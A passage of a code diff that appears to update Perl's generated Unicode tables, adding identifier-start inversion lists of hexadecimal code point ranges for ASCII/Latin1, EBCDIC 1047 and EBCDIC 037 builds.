+	0x1034B,
+	0x10350,
+	0x10376,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A01,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE5,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x11003,
+	0x11038,
+	0x11083,
+	0x110B0,
+	0x110D0,
+	0x110E9,
+	0x11103,
+	0x11127,
+	0x11150,
+	0x11173,
+	0x11176,
+	0x11177,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C5,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122C,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112DF,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x1133E,
+	0x11350,
+	0x11351,
+	0x1135D,
+	0x11362,
+	0x11400,
+	0x11435,
+	0x11447,
+	0x1144B,
+	0x11480,
+	0x114B0,
+	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x11580,
+	0x115AF,
+	0x115D8,
+	0x115DC,
+	0x11600,
+	0x11630,
+	0x11644,
+	0x11645,
+	0x11680,
+	0x116AB,
+	0x11700,
+	0x1171A,
+	0x118A0,
+	0x118E0,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C2F,
+	0x11C40,
+	0x11C41,
+	0x11C72,
+	0x11C90,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16AD0,
+	0x16AEE,
+	0x16B00,
+	0x16B30,
+	0x16B40,
+	0x16B44,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F51,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1E800,
+	0x1E8C5,
+	0x1E900,
+	0x1E944,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_IDS_invlist[] = { /* for EBCDIC 1047 */
+	1197,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
 	0x51,
 	0x5A,
-	0x5F,
-	0x60,
 	0x62,
-	0x6B,
+	0x6A,
 	0x70,
 	0x79,
 	0x80,
-	0x81,
 	0x8A,
+	0x8C,
+	0x8F,
 	0x91,
-	0x9A,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
 	0xA1,
+	0xA2,
 	0xAA,
-	0xB0,
-	0xB1,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
 	0xBA,
-	0xBC,
-	0xC0,
+	0xBB,
+	0xC1,
 	0xCA,
+	0xCB,
 	0xD0,
+	0xD1,
 	0xDA,
+	0xDB,
 	0xE0,
-	0xE1,
 	0xE2,
 	0xEA,
+	0xEB,
 	0xF0,
-	0xFA
+	0xFB,
+	0xFF,
+	0x100,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x370,
+	0x375,
+	0x376,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x561,
+	0x588,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
+	0x620,
+	0x64B,
+	0x66E,
+	0x670,
+	0x671,
+	0x6D4,
+	0x6D5,
+	0x6D6,
+	0x6E5,
+	0x6E7,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74D,
+	0x7A6,
+	0x7B1,
+	0x7B2,
+	0x7CA,
+	0x7EB,
+	0x7F4,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x840,
+	0x859,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x971,
+	0x981,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BD,
+	0x9BE,
+	0x9CE,
+	0x9CF,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E2,
+	0x9F0,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA72,
+	0xA75,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABD,
+	0xABE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE2,
+	0xAF9,
+	0xAFA,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3D,
+	0xB3E,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB71,
+	0xB72,
+	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBD0,
+	0xBD1,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC3E,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC62,
+	0xC80,
+	0xC81,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBD,
+	0xCBE,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCF1,
+	0xCF3,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD4E,
+	0xD4F,
+	0xD54,
+	0xD57,
+	0xD5F,
+	0xD62,
+	0xD7A,
+	0xD80,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xE01,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE40,
+	0xE47,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBD,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF88,
+	0xF8D,
+	0x1000,
+	0x102B,
+	0x103F,
+	0x1040,
+	0x1050,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1720,
+	0x1732,
+	0x1740,
+	0x1752,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1780,
+	0x17B4,
+	0x17D7,
+	0x17D8,
+	0x17DC,
+	0x17DD,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1950,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x1A00,
+	0x1A17,
+	0x1A20,
+	0x1A55,
+	0x1AA7,
+	0x1AA8,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B4C,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
+	0x1C00,
+	0x1C24,
+	0x1C4D,
+	0x1C50,
+	0x1C5A,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1D00,
+	0x1DC0,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2118,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x3005,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x309B,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA67F,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA840,
+	0xA874,
+	0xA882,
+	0xA8B4,
+	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA90A,
+	0xA926,
+	0xA930,
+	0xA947,
+	0xA960,
+	0xA97D,
+	0xA984,
+	0xA9B3,
+	0xA9CF,
+	0xA9D0,
+	0xA9E0,
+	0xA9E5,
+	0xA9E6,
+	0xA9F0,
+	0xA9FA,
+	0xA9FF,
+	0xAA00,
+	0xAA29,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA60,
+	0xAA77,
+	0xAA7A,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
+	0xAAE0,
+	0xAAEB,
+	0xAAF2,
+	0xAAF5,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABE3,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x10376,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A01,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE5,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x11003,
+	0x11038,
+	0x11083,
+	0x110B0,
+	0x110D0,
+	0x110E9,
+	0x11103,
+	0x11127,
+	0x11150,
+	0x11173,
+	0x11176,
+	0x11177,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C5,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122C,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112DF,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x1133E,
+	0x11350,
+	0x11351,
+	0x1135D,
+	0x11362,
+	0x11400,
+	0x11435,
+	0x11447,
+	0x1144B,
+	0x11480,
+	0x114B0,
+	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x11580,
+	0x115AF,
+	0x115D8,
+	0x115DC,
+	0x11600,
+	0x11630,
+	0x11644,
+	0x11645,
+	0x11680,
+	0x116AB,
+	0x11700,
+	0x1171A,
+	0x118A0,
+	0x118E0,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C2F,
+	0x11C40,
+	0x11C41,
+	0x11C72,
+	0x11C90,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16AD0,
+	0x16AEE,
+	0x16B00,
+	0x16B30,
+	0x16B40,
+	0x16B44,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F51,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1E800,
+	0x1E8C5,
+	0x1E900,
+	0x1E944,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E
 };
 
-static const UV Assigned_invlist[] = { /* for EBCDIC 037 */
-	1276,	/* Number of elements */
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_IDS_invlist[] = { /* for EBCDIC 037 */
+	1193,	/* Number of elements */
 	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
